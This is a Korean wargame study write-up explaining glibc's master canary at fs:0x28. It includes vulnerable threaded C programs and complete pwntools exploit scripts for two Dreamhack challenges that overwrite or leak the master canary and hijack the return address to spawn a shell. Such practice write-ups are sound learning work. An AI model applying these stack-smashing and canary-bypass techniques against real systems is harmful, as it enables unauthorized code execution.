3. Master Canary
3-1 Master Canary vs Canary 차이점
3-2 fs:0x28
3-3 실제 문제 풀어보기
3-3-1 MasterCanary
3-3-2 master_canary
3. Master Canary
Canary는 week5에서 공부했듯 스택 오버플로우 공격을 방어하기 위한 보안 기법 중 하나입니다.
일반적으로 스택 프레임의 종료 시점에 함수가 리턴되기 전,스택에 저장해둔 특정 값을 확인하여 이 값이 변경되었는지를 검사합니다.
이 값은 스택의 가장 민감한 영역인 리턴 주소(ret) 앞에 위치하며,만약 버퍼 오버플로우 등으로 인해 canary 값이 변경되었다면,
프로그램은 이를 감지하고 __stack_chk_fail()을 호출하며 즉시 종료합니다.
3-1 Master Canary vs Canary 차이점
그럼 master canary 얘는 뭐냐?
사실 이 둘은 같은 값이지만 위치와 역할에서 분명한 차이가 존재합니다. 아래 표를 보면 더 자세히 차이점을 볼 수 있는데요
요약하자면
master canary는 원본
canary는 그거 복사본 비밀번호
#동작흐름
mov rax, fs:0x28 ; master canary 읽음
mov [rbp-8], rax ; 스택에 복사함 (이게 우리가 볼 canary)
...
mov rax, [rbp-8] ; 리턴 전 체크
xor rax, fs:0x28 ; 원본이랑 다르면
jne __stack_chk_fail ; 바로 죽음
3-2 fs:0x28
x86-64 리눅스 기준, master canary 값은 TLS(Thread-Local Storage) 영역인 fs segment의 0x28 오프셋에 저장되어 있습니다.
이는 glibc 내부에서 프로그램 시작 시 무작위 값으로 초기화되며, 프로세스가 실행되는 동안 바뀌지 않습니다.
즉, 함수가 실행될 때마다 이 값을 가져와서 스택에 저장해놓는 식이죠. 실제 mastercanary를 확인하러 가봅시다.
// Name: master_canary.c
// Compile: gcc -o master_canary master_canary.c -no-pie
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[256];
read(0, buf, 256);
}
0x7ffff7fa8768: 0xdf43660136de5f00 ← Master Canary
여기까지 이해하니, 역시 해킹은...원본이 있을 수 밖에 없으니 뚫릴 수 밖에 없는 운명이 아닐까라는 생각이 스쳐지나갔습니다
원본이 없어야..아니 애초부터 프로그램이 없어야 해킹도 없다...(!) 랄까요
완벽한 보안은...전원을 끄는, 즉 존재 하지않아야 완벽 보완이라는 헛생각을 한번 했었습니다.
3-3 실제 문제 풀어보기
3-3-1 Master Canary
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
요 문제 같은 경우 드림핵 강의 풀이랑 함께 진행했는데요. 문제는 docker환경 빌드 과정에서 생각보다 너무 험난했었습니다. 물론 이 문제에서는 성공했습니다! 하하
요 분 블로그 보면서 행복한 로되리안 되고싶었는데, nc localhost로 연결됐고, 그걸 로컬에서 gdb attach에서 로컬 pwntools랑 pwdbg이용해서 행복 디버깅하고싶었는데, 계속 gdb attach과정에서 잘안되더라고요. 그래서 그냥 docker에서 gdb랑 도구 깔아서 진행했습니다! 가끔 캡쳐본이랑 다른 값이 있을 수 있는데, 로컬이랑 docker 병행함에 있어 제가 아직 실력이 많이 미숙해서 캡쳐가 중간 잘못된 값이 섞였을 수도 있습니다 ㅠㅠ 죄송합니다.
그리고 드림핵 강의에서 멀티쓰레드 관련해서 주루루룩 설명이 나왔었는데, 이거 내용이 장난아니더라고요. 엄청 깊었습니다. 어쩐지 과제에 쓰레드 메모리 구조 분석하는거 팁으로 적혀있길래 뭘까했는데 이거였군요....일단 남은 과제양과 시간을 계산해본 결과 효율적으로 진행해야했으니까. 드림핵 강의 보고 실습을 따라가고, 이 관련 문제 푸는 부분에 있어서 아직 gdb조작이 미숙해 최대한 이론 부분을 중점으로 이해할려고 했습니다. 이 부분은 지피티랑 구글링 통해서 공부했습니다.
프로세스: 실행 중인 프로그램 하나하나. 독립된 메모리 공간 사용.
스레드: 프로세스 내부에서 돌아가는 작은 실행 단위. 메모리 공유.
비유하자면
프로세스 = 집
스레드 = 방 안에서 동시에 돌아다니는 사람들
여기서 멀티스레드는 방 안에서 여러 명이 동시에 움직이니까
즉, 하나의 사람이 이상한 짓(익스플로잇)을 해도, 다른 사람(메인 스레드)이 영향을 받는다는 뜻입니다
그럼 다시 문제 코드를 보러가봅시다.
pthread_create(&thread_t, NULL, (void *)thread_routine, NULL);
pthread_join(thread_t, 0); --> 중요
pthread_create로 스레드를 하나 생성해서 thread_routine()을 실행하게 만든다.
이후 main 스레드는 pthread_join으로 해당 스레드가 끝날 때까지 기다림.
즉, thread_routine이 끝나야 main도 종료된다.
#thread_routing 구조
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size); <--여기가 핵심
}
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
read_bytes()는 8바이트 단위로 size만큼 반복해서 read()함.
즉 size = 1이면 8바이트만, size = 33이면 264바이트를 입력받음.
그런데 버퍼는 char buf[256]; → 바로 스택 오버플로우 발생 가능하다!
다만 여기까지 끝내면 단순히 canary 우회 문제인 것 같지만...
이건 단순한 canary 우회가 아니라, pthread 내부 canceltype 구조체까지 영향을 안 주도록 padding을 정교하게 넣어줘야합니다.
즉, 스택에 덮이는 구조체들까지 계산해서 정확한 위치에 가짜 값 넣어야 SIGSEGV 안 뜨고 정상 동작한다는거죠
canceltype이 뭐죠?
아까 위에서 프로세스는 집, 스레드는 사람들이라는 비유를 들었는데 이를 다시 가져와서 전체적으로 비유들어 이해해보자면
- 프로세스 = 하나의 집
- 스레드 = 집 안에서 각자 돌아다니며 일하는 사람들
- 멀티스레드 = 방 여러 개에 사람들이 동시에 뭔가 하고 있음
- 공용 자원 = 부엌, 욕실, 거실 등은 같이 씀 (= 메모리 공간 공유)
그럼 pthread는 뭐냐?
각 사람(스레드)이 목에 차고 다니는 이름표 + 매뉴얼이라 생각하면 되더라고요.
이 안에 "이 사람 누구냐", "뭘 하냐", "언제 퇴근할 수 있냐" 같은 정보가 적혀있는거죠.
그중 하나가 바로
canceltype: 이 사람(스레드)을 언제, 어떻게 퇴근시킬 수 있는가?
canceltype은 두 가지 방식이 있습니다.
1. PTHREAD_CANCEL_ASYNCHRONOUS (asynchronous=비동기, 작업을 동시에 실행하는 방식)
→ “야! 지금 당장 짐 싸서 나가!!”
→ 지금 뭐 하든 말든 바로 퇴근. 설거지하다가도 도중에 그만두고 나감.
2. PTHREAD_CANCEL_DEFERRED (deferred=연기된다는 뜻)
→ “지금 하던 거 끝나고, 여유 있을 때 퇴근해~”
→ 지정된 시점에만 퇴근 가능. 예의 바르게 문 닫고 나가는 느낌.
드림핵 강의 익스에서 왜 이부분을 고려하고 익스를 짰을까?
만약 너무 긴 payload를 보내서, 스레드의 이름표(pthread 구조체) 일부를 덮어버리면…
이 사람의 신상 정보가 꼬여서 퇴근 규칙(canceltype)도 엉망이 되고 메인 스레드가 사람 하나 정리하려고 할 때 SIGSEGV 터지게됩니다.
즉, 방 안에 있던 사람이 자기 이름표를 찢어버리는 거죠 (안돼)
→ 관리하던 메인 스레드가 그 사람 누구였는지 몰라서 집 전체가 고장나는거죠 = segmentation fault
#!/usr/bin/env python3
# Name: mc_thread.py
from pwn import *
#p = process('./mc_thread')
p = remote('host3.dreamhack.games', 14827)
elf = ELF('./mc_thread')
payload = b'A' * 264
payload += b'A' * 8 # canary
payload += b'B' * 8
payload += p64(elf.symbols['giveshell'])
payload += b'C' * (0x910 - len(payload))
payload += p64(0x404800 - 0x972) # avoid SIGSEGV when self->canceltype = PTHREAD_CANCEL_DEFERRED
payload += b'C' * 0x10
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload) // 8
p.sendlineafter(b'Size: ', str(inp_sz).encode())
p.sendafter(b'Data: ', payload)
p.interactive()
그래서 exploit에서
payload += p64(0x404800 - 0x972) # canceltype가 있는 위치에 안전한 값 써줌
= “이 사람이 실수로 자기 이름표 찢지 않도록, 미리 괜찮은 이름표로 덮어주는 거”
= "메모리 꼬여도 퇴근 처리 정상적으로 하도록 도와줌" 하는거죠.
payload += p64(0x4141414141414141) # master canary
그리고 요 부분도 개인적으로 헷갈렸는데요.
아까 canary 덮어줬는데 왜 또 master canary로 이 값으로 덮어줘야하나?
먼저 이 위치는 스택 제일 마지막, 즉 스레드 구조체의 canceltype 바로 다음 필드인게 중요합니다
즉, pthread 구조체에 존재하는 내부적인 '추가 보호용' canary 값이다.
glibc의 __pthread_create_2_1() 내부를 보면, 각 스레드의 구조체에 stack의 끝 부분에 스레드 전용 canary 혹은 master stack guard 같은 값이 들어가는데, payload를 크게 밀어넣다 보면, 이 부분까지 닿게 됩니다.
만약 이걸 안 덮어주고 냅두면?
pthread_join() 쪽에서 이 값을 검증하게 되고,
값이 깨졌다고 판단 → SIGSEGV or pthread_abort()
즉, 익스 후 정상적으로 main 스레드가 정리되게 하려면 이 영역까지도 덮어줘서 “정상값처럼 보이게” 만들어줘야한다는거죠.
값이 0x41414141...인 이유는
pthread_join()에서 이 값의 정확한 값 자체를 검증하지는 않고
대신, 이 위치에 NULL, 0, 또는 "말도 안 되는 크래쉬 값"이 들어가면 abort
그래서 적당한 패턴을 넣는 거지, 꼭 leak해서 복구할 필요는 없다는거죠.
→ 그래서 비유들면 미리 적당히 "가짜 이름표라도 붙여주는 것"
→ "얘가 잘못은 했지만... 신분증은 있네요!" 하고 그냥 넘어가는 거죠ㅋㅋ
로컬
원격
3-3-2 master_canary
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size = 0;
pthread_t thread_t;
int idx = 0;
char leave_comment[32];
initialize();
while (1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%lu", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
소스코드를 보면 크게 3가지 메뉴가 존재합니다.
1. Create thread
pthread_create(&thread_t, NULL, thread_routine, NULL); #쓰레드를 만들고
..
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
전역 포인터 global_buffer를 스레드의 로컬 변수인 buf에 연결함.
스레드가 종료되어도 buf의 주소는 global_buffer에 남아 있음 -->이 포인터를 통해서 fs:0x28에 존재하는 마스터 카나리 주소까지 접근 가능해짐
2. Input
read_bytes(global_buffer, size);
유저가 입력한 size만큼 global_buffer에 데이터를 넣는다.
우리가 원하는 만큼 (많이!) 쓸 수 있음 = 오버플로우 발생 가능
3. Exit
read(0, leave_comment, 1024);
여기서 리턴되며 함수 스택의 리턴 주소를 덮을 기회가 생긴다
파이가없다! 고정값이다!
canary 확인
get_shell 주소는 400a4a
global_buffer 주소는 6020b0
global_buffer가 TLS 영역과 얼마나 떨어져 있는지, 즉 fs:0x28에 위치한 master canary 주소와의 오프셋(offset)을 구하는 것이 목표
이 offset은 익스플로잇 시 canary 값을 leak할 때 반드시 필요하다.
0x400a66 <+11>: mov rax,QWORD PTR fs:0x28 ; 마스터 카나리 읽기
0x400a6f <+20>: mov QWORD PTR [rbp-0x8],rax ; 로컬에 저장
0x400a75 <+26>: lea rax,[rbp-0x110] ; 버퍼 할당
0x400a7c <+33>: mov QWORD PTR [rip+0x20162d],rax ; 전역 포인터 global_buffer에 저장
;이 흐름으로 보면, rbp - 0x110 주소가 global_buffer이고, fs:0x28 주소에 있는 canary 값이랑 xor 하는 시점도 보인다.
fs:0x28의 값을 쓰기 직전에 멈춰서 실행 그러면 이제 쓰레드가 생성되고, 찾고자 하는 스택에 있는 global_buffer 주소를 얻을 수 있다.
디버깅 흐름
thread_routine()에서 fs:0x28을 rbp-0x8에 저장
rbp-0x110 → global_buffer에 저장됨 (gdb에서 값 추적 가능)
global_buffer를 기준으로 스택 상단을 훑으면 fs:0x28이 있음
오프셋 계산 결과, 0x8e8 바이트
그리고 익스플로잇 시 canary의 첫 바이트는 \x00이므로 이를 포함해 0x8e9 바이트를 입력하면 canary leak 가능.
from pwn import *
# 디버깅 로그를 상세하게 출력
context.log_level = 'debug'
# 로컬 원격 서버 연결 (드림핵 서버 주소 및 포트)
#p = remote('localhost', 10001)
p = remote('host3.dreamhack.games', 17464)
# 바이너리 ELF 정보 로드
e = ELF('./master_canary')
# get_shell 함수 주소 가져오기
get_shell = e.sym["get_shell"]
print(hex(get_shell)) # 디버깅 용도
# ===== Canary Leak 단계 =====
# global_buffer → fs:0x28 까지 오프셋은 0x8e8
# canary의 첫 바이트는 \x00이므로, 총 0x8e9 만큼 패딩
payload = b'A' * 0x8e9
size = len(payload)
# 1번: 쓰레드 생성 → global_buffer에 스레드 버퍼 주소 저장
p.sendlineafter(b'> ', b'1')
# 2번: global_buffer에 size만큼 입력 → canary 영역까지 덮어쓰기
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Size: ', str(size))
p.sendafter(b'Data: ', payload)
# 전송한 payload 다음에 canary 값이 출력되므로 수신
p.recvuntil(payload)
# canary는 8바이트인데 첫 바이트가 \x00이므로 7바이트만 받고 앞에 0 추가
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print('canary :', hex(canary)) # 디버깅 용도
# ===== Exploitation 단계 =====
# rbp - 0x30 ~ RET 까지 총 0x28 패딩 후
payload = b'A' * 0x28
# leak한 canary를 그대로 넣어서 스택 보호 우회
payload += p64(canary)
# saved rbp (의미 없음) 더미로 8바이트 채우기
payload += b'B' * 8
# RET → get_shell 주소로 오버라이드
payload += p64(get_shell)
# 3번: Leave comment → rbp - 0x30 에 0x400 byte까지 read 발생 → BOF 유도
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Leave comment: ', payload)
# 셸 얻기
p.interactive()
로컬
원격